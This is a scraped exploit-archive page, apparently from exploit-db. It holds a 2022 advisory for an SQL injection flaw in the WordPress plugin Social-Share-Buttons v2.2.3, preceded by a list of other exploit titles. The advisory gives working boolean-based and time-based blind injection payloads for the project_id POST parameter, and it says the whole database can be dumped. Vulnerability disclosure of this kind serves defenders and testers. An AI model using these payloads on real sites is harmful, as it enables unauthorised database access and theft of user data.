6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
53 lines
No EOL
1.8 KiB
Text
53 lines
No EOL
1.8 KiB
Text
## Title: Social-Share-Buttons v2.2.3 - SQL Injection
|
|
## Author: nu11secur1ty
|
|
## Date: 09.16.2022
|
|
## Vendor: https://wordpress.org/
|
|
## Software: https://downloads.wordpress.org/plugin/social-share-buttons-by-supsystic.2.2.3.zip
|
|
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3
|
|
|
|
|
|
## Description:
|
|
The `project_id` parameter from the Social Share Buttons-2.2.3 on the
|
|
WordPress-6.0.2 system appears to be vulnerable to SQL injection
|
|
attacks.
|
|
The malicious user can dump-steal the database, from this system and
|
|
he can use it for very malicious purposes.
|
|
WARNING: The attacker can retrieve all-database from this system!
|
|
NOTE: The users of this system are NOT protected, this SQL
|
|
vulnerability is CRITICAL!
|
|
|
|
STATUS: HIGH Vulnerability
|
|
|
|
[+]Payload:
|
|
|
|
```mysql
|
|
---
|
|
Parameter: project_id (POST)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: action=social-sharing-share&project_id=378116348' or
|
|
'3724'='3724' AND 7995=7995 AND 'rQVH'='rQVH&network_id=5&post_id=
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: action=social-sharing-share&project_id=378116348' or
|
|
'3724'='3724' AND (SELECT 9167 FROM (SELECT(SLEEP(5)))dQDw) AND
|
|
'KWbC'='KWbC&network_id=5&post_id=
|
|
---
|
|
```
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3)
|
|
|
|
## Proof and Exploit:
|
|
[href](https://streamable.com/m9r76w)
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.html and https://www.exploit-db.com/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/> |